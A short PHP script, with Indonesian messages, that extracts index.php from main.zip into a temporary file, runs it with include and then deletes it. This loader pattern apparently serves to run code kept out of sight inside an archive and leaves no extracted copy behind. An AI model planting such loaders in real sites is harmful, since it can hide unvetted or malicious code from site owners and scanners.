<?php
$zipFile = 'main.zip';
$internalFile = 'index.php';

if (!file_exists($zipFile)) {
    die("File ZIP tidak ditemukan: $zipFile");
}

$zip = new ZipArchive;
if ($zip->open($zipFile) === TRUE) {
    $content = $zip->getFromName($internalFile);
    if ($content !== false) {
        $tempFile = tempnam(sys_get_temp_dir(), 'php_');
        file_put_contents($tempFile, $content);

        include $tempFile;

        unlink($tempFile);
    } else {
        echo "File '$internalFile' tidak ditemukan di dalam ZIP.";
    }
    $zip->close();
} else {
    echo "Gagal membuka file ZIP.";
}
?>